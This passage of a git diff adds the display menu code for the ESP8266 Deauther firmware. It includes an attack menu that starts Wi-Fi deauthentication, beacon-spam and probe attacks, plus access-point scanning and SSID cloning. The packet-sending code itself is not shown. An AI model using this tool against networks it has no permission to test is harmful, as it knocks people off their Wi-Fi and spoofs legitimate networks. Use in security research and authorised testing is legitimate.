MONITOR + scan.start(SCAN_MODE_SNIFFER, 0, SCAN_MODE_OFF, 0, false, wifi_channel); + mode = DISPLAY_MODE::PACKETMONITOR; + }); + + addMenuNode(&mainMenu, D_CLOCK, [this]() { // PACKET MONITOR + mode = DISPLAY_MODE::CLOCK; + display.setFont(ArialMT_Plain_24); + display.setTextAlignment(TEXT_ALIGN_CENTER); + }); + +#ifdef HIGHLIGHT_LED + addMenuNode(&mainMenu, D_LED, [this]() { // LED + highlightLED = !highlightLED; + digitalWrite(HIGHLIGHT_LED, highlightLED); + }); +#endif // ifdef HIGHLIGHT_LED + }); + + // SCAN MENU + createMenu(&scanMenu, &mainMenu, [this]() { + addMenuNode(&scanMenu, D_SCAN_APST, [this]() { // SCAN AP + ST + scan.start(SCAN_MODE_ALL, 15000, SCAN_MODE_OFF, 0, true, wifi_channel); + mode = DISPLAY_MODE::LOADSCAN; + }); + addMenuNode(&scanMenu, D_SCAN_AP, [this]() { // SCAN AP + scan.start(SCAN_MODE_APS, 0, SCAN_MODE_OFF, 0, true, wifi_channel); + mode = DISPLAY_MODE::LOADSCAN; + }); + addMenuNode(&scanMenu, D_SCAN_ST, [this]() { // SCAN ST + scan.start(SCAN_MODE_STATIONS, 30000, SCAN_MODE_OFF, 0, true, wifi_channel); + mode = DISPLAY_MODE::LOADSCAN; + }); + }); + + // SHOW MENU + createMenu(&showMenu, &mainMenu, [this]() { + addMenuNode(&showMenu, [this]() { // Accesspoints 0 [0] + return leftRight(str(D_ACCESSPOINTS), (String)accesspoints.count(), maxLen - 1); + }, &apListMenu); + addMenuNode(&showMenu, [this]() { // Stations 0 [0] + return leftRight(str(D_STATIONS), (String)stations.count(), maxLen - 1); + }, &stationListMenu); + addMenuNode(&showMenu, [this]() { // Names 0 [0] + return leftRight(str(D_NAMES), (String)names.count(), maxLen - 1); + }, &nameListMenu); + addMenuNode(&showMenu, [this]() { // SSIDs 0 + return leftRight(str(D_SSIDS), (String)ssids.count(), maxLen - 1); + }, &ssidListMenu); + }); + + // AP LIST MENU + createMenu(&apListMenu, &showMenu, [this]() { + // add APs to list + int c = accesspoints.count(); + + for (int i = 0; i < c; i++) { + addMenuNode(&apListMenu, [i]() { + return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i); + }, [this, i]() { + accesspoints.getSelected(i) ? accesspoints.deselect(i) : accesspoints.select(i); + }, [this, i]() { + selectedID = i; + changeMenu(&apMenu); + }); + } + addMenuNode(&apListMenu, D_SELECT_ALL, [this]() { // SELECT ALL + accesspoints.selectAll(); + changeMenu(&apListMenu); + }); + addMenuNode(&apListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL + accesspoints.deselectAll(); + changeMenu(&apListMenu); + }); + addMenuNode(&apListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + accesspoints.removeAll(); + goBack(); + }); + }); + + // STATION LIST MENU + createMenu(&stationListMenu, &showMenu, [this]() { + // add stations to list + int c = stations.count(); + + for (int i = 0; i < c; i++) { + addMenuNode(&stationListMenu, [i]() { + return b2a(stations.getSelected(i)) + + (stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i)); + }, [this, i]() { + stations.getSelected(i) ? stations.deselect(i) : stations.select(i); + }, [this, i]() { + selectedID = i; + changeMenu(&stationMenu); + }); + } + + addMenuNode(&stationListMenu, D_SELECT_ALL, [this]() { // SELECT ALL + stations.selectAll(); + changeMenu(&stationListMenu); + }); + addMenuNode(&stationListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL + stations.deselectAll(); + changeMenu(&stationListMenu); + }); + addMenuNode(&stationListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + stations.removeAll(); + goBack(); + }); + }); + + // NAME LIST MENU + createMenu(&nameListMenu, &showMenu, [this]() { + // add device names to list + int c = names.count(); + + for (int i = 0; i < c; i++) { + addMenuNode(&nameListMenu, [i]() { + return names.getSelectedStr(i) + names.getName(i); + }, [this, i]() { + names.getSelected(i) ? names.deselect(i) : names.select(i); + }, [this, i]() { + selectedID = i; + changeMenu(&nameMenu); + }); + } + addMenuNode(&nameListMenu, D_SELECT_ALL, [this]() { // SELECT ALL + names.selectAll(); + changeMenu(&nameListMenu); + }); + addMenuNode(&nameListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL + names.deselectAll(); + changeMenu(&nameListMenu); + }); + addMenuNode(&nameListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + names.removeAll(); + goBack(); + }); + }); + + // SSID LIST MENU + createMenu(&ssidListMenu, &showMenu, [this]() { + addMenuNode(&ssidListMenu, D_CLONE_APS, [this]() { // CLONE APs + ssids.cloneSelected(true); + changeMenu(&ssidListMenu); + ssids.save(false); + }); + addMenuNode(&ssidListMenu, [this]() { + return b2a(ssids.getRandom()) + str(D_RANDOM_MODE); // *RANDOM MODE + }, [this]() { + if (ssids.getRandom()) ssids.disableRandom(); + else ssids.enableRandom(10); + changeMenu(&ssidListMenu); + }); + + // add ssids to list + int c = ssids.count(); + + for (int i = 0; i < c; i++) { + addMenuNode(&ssidListMenu, [i]() { + return ssids.getName(i).substring(0, ssids.getLen(i)); + }, [this, i]() { + selectedID = i; + changeMenu(&ssidMenu); + }, [this, i]() { + ssids.remove(i); + changeMenu(&ssidListMenu); + ssidListMenu.selected = i; + }); + } + + addMenuNode(&ssidListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + ssids.removeAll(); + goBack(); + }); + }); + + // AP MENU + createMenu(&apMenu, &apListMenu, [this]() { + addMenuNode(&apMenu, [this]() { + return accesspoints.getSelectedStr(selectedID) + accesspoints.getSSID(selectedID); // * + }, [this]() { + accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID); + }); + addMenuNode(&apMenu, [this]() { + return str(D_ENCRYPTION) + accesspoints.getEncStr(selectedID); + }, NULL); // Encryption: -/WPA2 + addMenuNode(&apMenu, [this]() { + return str(D_RSSI) + (String)accesspoints.getRSSI(selectedID); + }, NULL); // RSSI: -90 + addMenuNode(&apMenu, [this]() { + return str(D_CHANNEL) + (String)accesspoints.getCh(selectedID); + }, NULL); // Channel: 11 + addMenuNode(&apMenu, [this]() { + return accesspoints.getMacStr(selectedID); + }, NULL); // 00:11:22:00:11:22 + addMenuNode(&apMenu, [this]() { + return str(D_VENDOR) + accesspoints.getVendorStr(selectedID); + }, NULL); // Vendor: INTEL + addMenuNode(&apMenu, [this]() { + return accesspoints.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT + }, [this]() { + accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID); + }); + addMenuNode(&apMenu, D_CLONE, [this]() { // CLONE + ssids.add(accesspoints.getSSID(selectedID), accesspoints.getEnc(selectedID) != ENC_TYPE_NONE, 60, true); + changeMenu(&showMenu); + ssids.save(false); + }); + addMenuNode(&apMenu, D_REMOVE, [this]() { // REMOVE + accesspoints.remove(selectedID); + apListMenu.list->remove(apListMenu.selected); + goBack(); + }); + }); + + // STATION MENU + createMenu(&stationMenu, &stationListMenu, [this]() { + addMenuNode(&stationMenu, [this]() { + return stations.getSelectedStr(selectedID) + + (stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // + }, [this]() { + stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID); + }); + addMenuNode(&stationMenu, [this]() { + return stations.getMacStr(selectedID); + }, NULL); // 00:11:22:00:11:22 + addMenuNode(&stationMenu, [this]() { + return str(D_VENDOR) + stations.getVendorStr(selectedID); + }, NULL); // Vendor: INTEL + addMenuNode(&stationMenu, [this]() { + return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP + }, [this]() { + int apID = accesspoints.find(stations.getAP(selectedID)); + + if (apID >= 0) { + selectedID = apID; + changeMenu(&apMenu); + } + }); + addMenuNode(&stationMenu, [this]() { + return str(D_PKTS) + String(*stations.getPkts(selectedID)); + }, NULL); // Pkts: 12 + addMenuNode(&stationMenu, [this]() { + return str(D_CHANNEL) + String(stations.getCh(selectedID)); + }, NULL); // Channel: 11 + addMenuNode(&stationMenu, [this]() { + return str(D_SEEN) + stations.getTimeStr(selectedID); + }, NULL); // Seen: <1min + + addMenuNode(&stationMenu, [this]() { + return stations.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT + }, [this]() { + stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID); + }); + addMenuNode(&stationMenu, D_REMOVE, [this]() { // REMOVE + stations.remove(selectedID); + stationListMenu.list->remove(stationListMenu.selected); + goBack(); + }); + }); + + // NAME MENU + createMenu(&nameMenu, &nameListMenu, [this]() { + addMenuNode(&nameMenu, [this]() { + return names.getSelectedStr(selectedID) + names.getName(selectedID); // + }, [this]() { + names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID); + }); + addMenuNode(&nameMenu, [this]() { + return names.getMacStr(selectedID); + }, NULL); // 00:11:22:00:11:22 + addMenuNode(&nameMenu, [this]() { + return str(D_VENDOR) + names.getVendorStr(selectedID); + }, NULL); // Vendor: INTEL + addMenuNode(&nameMenu, [this]() { + return str(D_AP) + names.getBssidStr(selectedID); + }, NULL); // AP: 00:11:22:00:11:22 + addMenuNode(&nameMenu, [this]() { + return str(D_CHANNEL) + (String)names.getCh(selectedID); + }, NULL); // Channel: 11 + + addMenuNode(&nameMenu, [this]() { + return names.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT + }, [this]() { + names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID); + }); + addMenuNode(&nameMenu, D_REMOVE, [this]() { // REMOVE + names.remove(selectedID); + nameListMenu.list->remove(nameListMenu.selected); + goBack(); + }); + }); + + // SSID MENU + createMenu(&ssidMenu, &ssidListMenu, [this]() { + addMenuNode(&ssidMenu, [this]() { + return ssids.getName(selectedID).substring(0, ssids.getLen(selectedID)); + }, NULL); // SSID + addMenuNode(&ssidMenu, [this]() { + return str(D_ENCRYPTION) + ssids.getEncStr(selectedID); // WPA2 + }, [this]() { + ssids.setWPA2(selectedID, !ssids.getWPA2(selectedID)); + }); + addMenuNode(&ssidMenu, D_REMOVE, [this]() { // REMOVE + ssids.remove(selectedID); + ssidListMenu.list->remove(ssidListMenu.selected); + goBack(); + }); + }); + + // ATTACK MENU + createMenu(&attackMenu, &mainMenu, [this]() { + addMenuNode(&attackMenu, [this]() { // *DEAUTH 0/0 + if (attack.isRunning()) return leftRight(b2a(deauthSelected) + str(D_DEAUTH), + (String)attack.getDeauthPkts() + SLASH + + (String)attack.getDeauthMaxPkts(), maxLen - 1); + else return leftRight(b2a(deauthSelected) + str(D_DEAUTH), (String)scan.countSelected(), maxLen - 1); + }, [this]() { // deauth + deauthSelected = !deauthSelected; + + if (attack.isRunning()) { + attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + } + }); + addMenuNode(&attackMenu, [this]() { // *BEACON 0/0 + if (attack.isRunning()) return leftRight(b2a(beaconSelected) + str(D_BEACON), + (String)attack.getBeaconPkts() + SLASH + + (String)attack.getBeaconMaxPkts(), maxLen - 1); + else return leftRight(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), maxLen - 1); + }, [this]() { // beacon + beaconSelected = !beaconSelected; + + if (attack.isRunning()) { + attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + } + }); + addMenuNode(&attackMenu, [this]() { // *PROBE 0/0 + if (attack.isRunning()) return leftRight(b2a(probeSelected) + str(D_PROBE), + (String)attack.getProbePkts() + SLASH + + (String)attack.getProbeMaxPkts(), maxLen - 1); + else return leftRight(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), maxLen - 1); + }, [this]() { // probe + probeSelected = !probeSelected; + + if (attack.isRunning()) { + attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + } + }); + addMenuNode(&attackMenu, [this]() { // START + return leftRight(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK), + attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), maxLen - 1); + }, [this]() { + if (attack.isRunning()) attack.stop(); + else attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + }); + }); + + // ===================== // + + // set current menu to main menu + changeMenu(&mainMenu); + enabled = true; + startTime = currentTime; +} + +#ifdef HIGHLIGHT_LED +void DisplayUI::setupLED() { + pinMode(HIGHLIGHT_LED, OUTPUT); + digitalWrite(HIGHLIGHT_LED, HIGH); + highlightLED = true; +} + +#endif // ifdef HIGHLIGHT_LED + +void DisplayUI::update() { + if (!enabled) return; + + up->update(); + down->update(); + a->update(); + b->update(); + + draw(); + + uint32_t timeout = settings.getDisplayTimeout() * 1000; + + if (currentTime > timeout) { + if (!tempOff) { + if (buttonTime < currentTime - timeout) off(); + } else { + if (buttonTime > currentTime - timeout) on(); + } + } +} + +void DisplayUI::on() { + if (enabled) { + configOn(); + tempOff = false; + buttonTime = currentTime; // update a button time to keep display on + prntln(D_MSG_DISPLAY_ON); + } else { + prntln(D_ERROR_NOT_ENABLED); + } +} + +void DisplayUI::off() { + if (enabled) { + configOff(); + tempOff = true; + prntln(D_MSG_DISPLAY_OFF); + } else { + prntln(D_ERROR_NOT_ENABLED); + } +} + +void DisplayUI::setupButtons() { + up = new ButtonPullup(BUTTON_UP); + down = new ButtonPullup(BUTTON_DOWN); + a = new ButtonPullup(BUTTON_A); + b = new ButtonPullup(BUTTON_B); + + // === BUTTON UP === // + up->setOnClicked([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + + if (!tempOff) { + if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor + if (currentMenu->selected > 0) currentMenu->selected--; + else currentMenu->selected = currentMenu->list->size() - 1; + } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel + scan.setChannel(wifi_channel + 1); + } else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel + setTime(clockHour, clockMinute + 1, clockSecond); + } + } + }); + + up->setOnHolding([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor + if (currentMenu->selected > 0) currentMenu->selected--; + else currentMenu->selected = currentMenu->list->size() - 1; + } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel + scan.setChannel(wifi_channel + 1); + } else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel + setTime(clockHour, clockMinute + 10, clockSecond); + } + } + }, buttonDelay); + + // === BUTTON DOWN === // + down->setOnClicked([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor + if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++; + else currentMenu->selected = 0; + } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel + scan.setChannel(wifi_channel - 1); + } else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel + setTime(clockHour, clockMinute - 1, clockSecond); + } + } + }); + + down->setOnHolding([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor + if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++; + else currentMenu->selected = 0; + } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel + scan.setChannel(wifi_channel - 1); + } + + else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel + setTime(clockHour, clockMinute - 10, clockSecond); + } + } + }, buttonDelay); + + // === BUTTON A === // + a->setOnClicked([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + switch (mode) { + case DISPLAY_MODE::MENU: + + if (currentMenu->list->get(currentMenu->selected).click) { + currentMenu->list->get(currentMenu->selected).click(); + } + break; + + case DISPLAY_MODE::PACKETMONITOR: + case DISPLAY_MODE::LOADSCAN: + scan.stop(); + mode = DISPLAY_MODE::MENU; + break; + + case DISPLAY_MODE::CLOCK: + mode = DISPLAY_MODE::MENU; + display.setFont(DejaVu_Sans_Mono_12); + display.setTextAlignment(TEXT_ALIGN_LEFT); + break; + } + } + }); + + a->setOnHolding([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + if (mode == DISPLAY_MODE::MENU) { + if (currentMenu->list->get(currentMenu->selected).hold) { + currentMenu->list->get(currentMenu->selected).hold(); + } + } + } + }, 800); + + // === BUTTON B === // + b->setOnClicked([this]() { + scrollCounter = 0; + scrollTime = currentTime; + buttonTime = currentTime; + if (!tempOff) { + switch (mode) { + case DISPLAY_MODE::MENU: + goBack(); + break; + + case DISPLAY_MODE::PACKETMONITOR: + case DISPLAY_MODE::LOADSCAN: + scan.stop(); + mode = DISPLAY_MODE::MENU; + break; + + case DISPLAY_MODE::CLOCK: + mode = DISPLAY_MODE::MENU; + display.setFont(DejaVu_Sans_Mono_12); + display.setTextAlignment(TEXT_ALIGN_LEFT); + break; + } + } + }); +} + +String DisplayUI::getChannel() { + String ch = String(wifi_channel); + + if (ch.length() < 2) ch = ' ' + ch; + return ch; +} + +void DisplayUI::draw() { + if ((currentTime - drawTime > drawInterval) && currentMenu) { + drawTime = currentTime; + + updatePrefix(); + + if (clockTime < currentTime - 1000) { + setTime(clockHour, clockMinute++, clockSecond + 1); + clockTime += 1000; + } + + switch (mode) { + case DISPLAY_MODE::BUTTON_TEST: + drawButtonTest(); + break; + + case DISPLAY_MODE::MENU: + drawMenu(); + break; + + case DISPLAY_MODE::LOADSCAN: + drawLoadingScan(); + break; + + case DISPLAY_MODE::PACKETMONITOR: + drawPacketMonitor(); + break; + + case DISPLAY_MODE::INTRO: + if (currentTime - startTime >= screenIntroTime) { + mode = DISPLAY_MODE::MENU; + } + drawIntro(); + break; + case DISPLAY_MODE::CLOCK: + drawClock(); + break; + } + + updateSuffix(); + } +} + +void DisplayUI::drawButtonTest() { + drawString(0, str(D_UP) + b2s(up->read())); + drawString(1, str(D_DOWN) + b2s(down->read())); + drawString(2, str(D_A) + b2s(a->read())); + drawString(3, str(D_B) + b2s(b->read())); +} + +void DisplayUI::drawMenu() { + String tmp; + int tmpLen; + int row = (currentMenu->selected / 5) * 5; + + // correct selected if it's off + if (currentMenu->selected < 0) currentMenu->selected = 0; + else if (currentMenu->selected >= currentMenu->list->size()) currentMenu->selected = currentMenu->list->size() - 1; + + // draw menu entries + for (int i = row; i < currentMenu->list->size() && i < row + 5; i++) { + tmp = currentMenu->list->get(i).getStr(); + tmpLen = tmp.length(); + + // horizontal scrolling + if ((currentMenu->selected == i) && (tmpLen >= maxLen)) { + tmp = tmp + tmp; + tmp = tmp.substring(scrollCounter, scrollCounter + maxLen - 1); + + if ((scrollCounter > 0 && scrollTime < currentTime - scrollSpeed) || (scrollCounter == 0 && scrollTime < currentTime - scrollSpeed * 4)){ + scrollTime = currentTime; + scrollCounter++; + } + + if (scrollCounter > tmpLen) scrollCounter = 0; + } + + tmp = (currentMenu->selected == i ? CURSOR : SPACE) + tmp; + drawString(0, (i - row) * 12, tmp); + } +} + +void DisplayUI::drawLoadingScan() { + String percentage; + + if (scan.isScanning()) { + percentage = String(scan.getPercentage()) + '%'; + } else { + percentage = str(DSP_SCAN_DONE); + } + + drawString(0, leftRight(str(DSP_SCAN_FOR), scan.getMode(), maxLen)); + drawString(1, leftRight(str(DSP_APS), String(accesspoints.count()), maxLen)); + drawString(2, leftRight(str(DSP_STS), String(stations.count()), maxLen)); + drawString(3, leftRight(str(DSP_PKTS), String(scan.getPacketRate()) + str(DSP_S), maxLen)); + drawString(4, center(percentage, maxLen)); +} + +void DisplayUI::drawPacketMonitor() { + double scale = scan.getScaleFactor(sreenHeight - lineHeight - 2); + + String headline = leftRight(str(D_CH) + getChannel() + String(' ') + String('[') + String(scan.deauths) + String(']'), String(scan.getPacketRate()) + str(D_PKTS), maxLen); + + drawString(0, 0, headline); + + if (scan.getMaxPacket() > 0) { + int i = 0; + int x = 0; + int y = 0; + while(i < SCAN_PACKET_LIST_SIZE && x < screenWidth){ + y = (sreenHeight-1) - (scan.getPackets(i) * scale); + i++; + + //Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y); + drawLine(x, (sreenHeight-1), x, y); + x++; + + //Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y); + drawLine(x, (sreenHeight-1), x, y); + x++; + } + //Serial.println("---------"); + } +} + +void DisplayUI::drawIntro() { + drawString(0, center(str(D_INTRO_0), maxLen)); + drawString(1, center(str(D_INTRO_1), maxLen)); + drawString(2, center(str(D_INTRO_2), maxLen)); + drawString(3, center(str(D_INTRO_3), maxLen)); + drawString(4, center(settings.getVersion(), maxLen)); +} + +void DisplayUI::drawClock() { + String clockTime = String(clockHour); + + clockTime += ':'; + if (clockMinute < 10) clockTime += '0'; + clockTime += String(clockMinute); + + display.drawString(64, 20, clockTime); +} + +void DisplayUI::clearMenu(Menu* menu) { + while (menu->list->size() > 0) { + menu->list->remove(0); + } +} + +void DisplayUI::changeMenu(Menu* menu) { + if (menu) { + // only open list menu if it has nodes + if (((menu == &apListMenu) && (accesspoints.count() == 0)) || + ((menu == &stationListMenu) && (stations.count() == 0)) || + ((menu == &nameListMenu) && (names.count() == 0))) { + return; + } + + if (currentMenu) clearMenu(currentMenu); + currentMenu = menu; + currentMenu->selected = 0; + buttonTime = currentTime; + + if (selectedID < 0) selectedID = 0; + + if (currentMenu->parentMenu) { + addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK] + currentMenu->selected = 1; + } + + if (currentMenu->build) currentMenu->build(); + } +} + +void DisplayUI::goBack() { + if (currentMenu->parentMenu) changeMenu(currentMenu->parentMenu); +} + +void DisplayUI::createMenu(Menu* menu, Menu* parent, std::functionbuild) { + menu->list = new SimpleList; + menu->parentMenu = parent; + menu->selected = 0; + menu->build = build; +} + +void DisplayUI::addMenuNode(Menu* menu, std::functiongetStr, std::functionclick, + std::functionhold) { + menu->list->add(MenuNode{ getStr, click, hold }); +} + +void DisplayUI::addMenuNode(Menu* menu, std::functiongetStr, std::functionclick) { + addMenuNode(menu, getStr, click, NULL); +} + +void DisplayUI::addMenuNode(Menu* menu, std::functiongetStr, Menu* next) { + addMenuNode(menu, getStr, [this, next]() { + changeMenu(next); + }); +} + +void DisplayUI::addMenuNode(Menu* menu, const char* ptr, std::functionclick) { + addMenuNode(menu, [ptr]() { + return str(ptr); + }, click); +} + +void DisplayUI::addMenuNode(Menu* menu, const char* ptr, Menu* next) { + addMenuNode(menu, [ptr]() { + return str(ptr); + }, next); +} + +void DisplayUI::setTime(int h, int m, int s) { + if (s >= 60) { + s = 0; + m++; + } + + if (m >= 60) { + m = 0; + h++; + } + + if (h >= 24) { + h = 0; + } + + if (s < 0) { + s = 59; + m--; + } + + if (m < 0) { + m = 59; + h--; + } + + if (h < 0) { + h = 23; + } + + clockHour = h; + clockMinute = m; + clockSecond = s; +} diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.h b/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.h new file mode 100755 index 0000000..808727a --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.h @@ -0,0 +1,644 @@ +#ifndef DisplayUI_h +#define DisplayUI_h + +#include "language.h" +#include "A_config.h" +#include "Settings.h" +#include "Names.h" +#include "SSIDs.h" +#include "Scan.h" +#include "Attack.h" + +#include + +using namespace simplebutton; + +extern Settings settings; +extern Names names; +extern SSIDs ssids; +extern Accesspoints accesspoints; +extern Stations stations; +extern Scan scan; +extern Attack attack; +extern uint32_t currentTime; + +extern String leftRight(String a, String b, int len); +extern String center(String a, int len); +extern String left(String a, int len); +extern String right(String a, int len); +extern String leftRight(String a, String b, int len); +extern String replaceUtf8(String str, String r); + +const char D_INTRO_0[] PROGMEM = ""; +const char D_INTRO_1[] PROGMEM = "ESP8266 Deauther"; +const char D_INTRO_2[] PROGMEM = "by @Spacehuhn"; +const char D_INTRO_3[] PROGMEM = ""; + +// fallback for the buttons +#ifndef BUTTON_UP + #define BUTTON_UP 255 +#endif // ifndef BUTTON_UP + +#ifndef BUTTON_DOWN + #define BUTTON_DOWN 255 +#endif // ifndef BUTTON_DOWN + +#ifndef BUTTON_A + #define BUTTON_A 255 +#endif // ifndef BUTTON_A + +#ifndef BUTTON_B + #define BUTTON_B 255 +#endif // ifndef BUTTON_B + +struct MenuNode { + std::functiongetStr; // function used to create the displayed string + std::function click; // function that is executed when node is clicked + std::function hold; // function that is executed when node is pressed for > 800ms +}; + +struct Menu { + SimpleList* list; + Menu * parentMenu; + uint8_t selected; + std::function build; // function that is executed when button is clicked +}; + +class DisplayUI { + public: + enum DISPLAY_MODE { OFF = 0, BUTTON_TEST = 1, MENU = 2, LOADSCAN = 3, PACKETMONITOR = 4, INTRO = 5, CLOCK = 6 }; + + uint8_t mode = DISPLAY_MODE::MENU; + bool highlightLED = false; + + Button* up = NULL; + Button* down = NULL; + Button* a = NULL; + Button* b = NULL; + + // ===== adjustable ===== // + DEAUTHER_DISPLAY // see config.h + + const uint8_t maxLen = 18; + const uint8_t lineHeight = 12; + const uint8_t buttonDelay = 250; + const uint8_t drawInterval = 100; // 100ms = 10 FPS + const uint16_t scrollSpeed = 500; // time interval in ms + const uint16_t screenIntroTime = 2500; + const uint16_t screenWidth = 128; + const uint16_t sreenHeight = 64; + + void configInit(); + void configOn(); + void configOff(); + void updatePrefix(); + void updateSuffix(); + void drawString(int x, int y, String str); + void drawString(int row, String str); + void drawLine(int x1, int y1, int x2, int y2); + // ====================== // + + DisplayUI(); + ~DisplayUI(); + + void setup(); +#ifdef HIGHLIGHT_LED + void setupLED(); +#endif // ifdef HIGHLIGHT_LED + + void update(); + void on(); + void off(); + + private: + int16_t selectedID = 0; // i.e. access point ID to draw the apMenu + uint8_t scrollCounter = 0; // for horizontal scrolling + + uint32_t scrollTime = 0; // last time a character was moved + uint32_t drawTime = 0; // last time a frame was drawn + uint32_t startTime = 0; // when the screen was enabled + uint32_t buttonTime = 0; // last time a button was pressed + + bool enabled = false; // display enabled + bool tempOff = false; + + // selected attack modes + bool beaconSelected = false; + bool deauthSelected = false; + bool probeSelected = false; + + // menus + Menu* currentMenu; + + Menu mainMenu; + + Menu scanMenu; + Menu showMenu; + Menu attackMenu; + + Menu apListMenu; + Menu stationListMenu; + Menu nameListMenu; + Menu ssidListMenu; + + Menu apMenu; + Menu stationMenu; + Menu nameMenu; + Menu ssidMenu; + + void setupButtons(); + + String getChannel(); + + // draw functions + void draw(); + void drawButtonTest(); + void drawMenu(); + void drawLoadingScan(); + void drawPacketMonitor(); + void drawIntro(); + void clearMenu(Menu* menu); + + // menu functions + void changeMenu(Menu* menu); + void goBack(); + void createMenu(Menu* menu, Menu* parent, std::functionbuild); + + void addMenuNode(Menu* menu, std::functiongetStr, std::functionclick, std::functionhold); + void addMenuNode(Menu* menu, std::functiongetStr, std::functionclick); + void addMenuNode(Menu* menu, std::functiongetStr, Menu* next); + void addMenuNode(Menu* menu, const char* ptr, std::functionclick); + void addMenuNode(Menu* menu, const char* ptr, Menu* next); + + // fake clock + void drawClock(); + void setTime(int h, int m, int s); + + int clockHour = 6; + int clockMinute = 0; + int clockSecond = 0; + + uint32_t clockTime = 0; +}; + +// ===== FONT ===== // +// Created by http://oleddisplay.squix.ch/ Consider a donation +// In case of problems make sure that you are using the font file with the correct version! +const uint8_t DejaVu_Sans_Mono_12[] PROGMEM = { + 0x07, // Width: 7 + 0x0F, // Height: 15 + 0x20, // First Char: 32 + 0xE0, // Numbers of Chars: 224 + + // Jump Table: + 0xFF, 0xFF, 0x00, 0x07, // 32:65535 + 0x00, 0x00, 0x08, 0x07, // 33:0 + 0x00, 0x08, 0x09, 0x07, // 34:8 + 0x00, 0x11, 0x0D, 0x07, // 35:17 + 0x00, 0x1E, 0x0C, 0x07, // 36:30 + 0x00, 0x2A, 0x0E, 0x07, // 37:42 + 0x00, 0x38, 0x0E, 0x07, // 38:56 + 0x00, 0x46, 0x07, 0x07, // 39:70 + 0x00, 0x4D, 0x0C, 0x07, // 40:77 + 0x00, 0x59, 0x0A, 0x07, // 41:89 + 0x00, 0x63, 0x0B, 0x07, // 42:99 + 0x00, 0x6E, 0x0E, 0x07, // 43:110 + 0x00, 0x7C, 0x08, 0x07, // 44:124 + 0x00, 0x84, 0x0A, 0x07, // 45:132 + 0x00, 0x8E, 0x08, 0x07, // 46:142 + 0x00, 0x96, 0x0D, 0x07, // 47:150 + 0x00, 0xA3, 0x0E, 0x07, // 48:163 + 0x00, 0xB1, 0x0C, 0x07, // 49:177 + 0x00, 0xBD, 0x0E, 0x07, // 50:189 + 0x00, 0xCB, 0x0E, 0x07, // 51:203 + 0x00, 0xD9, 0x0E, 0x07, // 52:217 + 0x00, 0xE7, 0x0E, 0x07, // 53:231 + 0x00, 0xF5, 0x0E, 0x07, // 54:245 + 0x01, 0x03, 0x0D, 0x07, // 55:259 + 0x01, 0x10, 0x0E, 0x07, // 56:272 + 0x01, 0x1E, 0x0E, 0x07, // 57:286 + 0x01, 0x2C, 0x08, 0x07, // 58:300 + 0x01, 0x34, 0x08, 0x07, // 59:308 + 0x01, 0x3C, 0x0E, 0x07, // 60:316 + 0x01, 0x4A, 0x0E, 0x07, // 61:330 + 0x01, 0x58, 